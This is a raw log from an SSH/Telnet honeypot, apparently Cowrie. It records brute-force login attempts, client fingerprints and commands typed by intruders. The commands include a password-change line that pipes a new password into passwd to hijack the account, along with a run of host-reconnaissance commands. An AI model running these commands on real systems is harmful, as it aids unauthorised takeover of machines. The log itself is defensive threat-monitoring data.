{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:04.574473Z","src_ip":"205.210.31.149","session":"20eafe35b58f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42732,"dst_ip":"159.203.135.109","dst_port":22,"session":"29989ddf0711","protocol":"ssh","message":"New connection: 60.199.224.2:42732 (159.203.135.109:22) [session: 29989ddf0711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.372985Z"}
{"eventid":"cowrie.session.closed","duration":"120.4","message":"Connection lost after 120.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.376616Z","src_ip":"14.103.115.234","session":"8de2dc04cc01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.381644Z","src_ip":"177.85.247.230","session":"bf1dc2b90469","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.387719Z","src_ip":"60.199.224.2","session":"29989ddf0711","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.541696Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.545484Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.583355Z","src_ip":"60.199.224.2","session":"29989ddf0711","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.655848Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.904380Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123456\\nFZBDiCImVH5j\\nFZBDiCImVH5j\"|passwd|bash","message":"CMD: echo -e \"admin123456\\nFZBDiCImVH5j\\nFZBDiCImVH5j\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.907931Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.911903Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:07.915263Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/46b93ae88419005ba11636ee32c13858727b6333e5a04bdfcb9044cd0225c652","size":32,"shasum":"46b93ae88419005ba11636ee32c13858727b6333e5a04bdfcb9044cd0225c652","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/46b93ae88419005ba11636ee32c13858727b6333e5a04bdfcb9044cd0225c652 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.021027Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.275199Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123456\\nFZBDiCImVH5j\\nFZBDiCImVH5j\\n\"|passwd","message":"CMD: echo \"admin123456\\nFZBDiCImVH5j\\nFZBDiCImVH5j\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.278597Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@2022","message":"login attempt [hadoop/hadoop@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.354987Z","src_ip":"60.199.224.2","session":"29989ddf0711","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/683645c1d726ec4cf155062319a9cfcdc7312a64af97a3a3e56adf5840436de1","size":25,"shasum":"683645c1d726ec4cf155062319a9cfcdc7312a64af97a3a3e56adf5840436de1","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/683645c1d726ec4cf155062319a9cfcdc7312a64af97a3a3e56adf5840436de1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.395322Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.691993Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.695487Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:08.803219Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:09.064445Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:09.067321Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"2.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.313129Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":57270,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e9472797d3","protocol":"telnet","message":"New connection: 45.81.23.16:57270 (10.17.0.5:23) [session: d1e9472797d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.321537Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.482126Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.485715Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.490367Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.518548Z","src_ip":"60.199.224.2","session":"29989ddf0711","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.598897Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.857311Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.860970Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:11.966674Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.205580Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.209439Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.315830Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.359223Z","src_ip":"205.210.31.149","session":"20eafe35b58f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.567522Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.571279Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.676477Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.918561Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:12.921738Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.026993Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.278167Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.281457Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.388274Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":41748,"dst_ip":"159.203.135.109","dst_port":22,"session":"38e3f7c83bb8","protocol":"ssh","message":"New connection: 186.10.86.130:41748 (159.203.135.109:22) [session: 38e3f7c83bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.560437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.565072Z","src_ip":"186.10.86.130","session":"38e3f7c83bb8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.644966Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.648357Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.708421Z","src_ip":"186.10.86.130","session":"38e3f7c83bb8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:13.755547Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.009997Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.013408Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.118166Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zxcvbn","message":"login attempt [admin/zxcvbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.309573Z","src_ip":"186.10.86.130","session":"38e3f7c83bb8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:14.365464Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
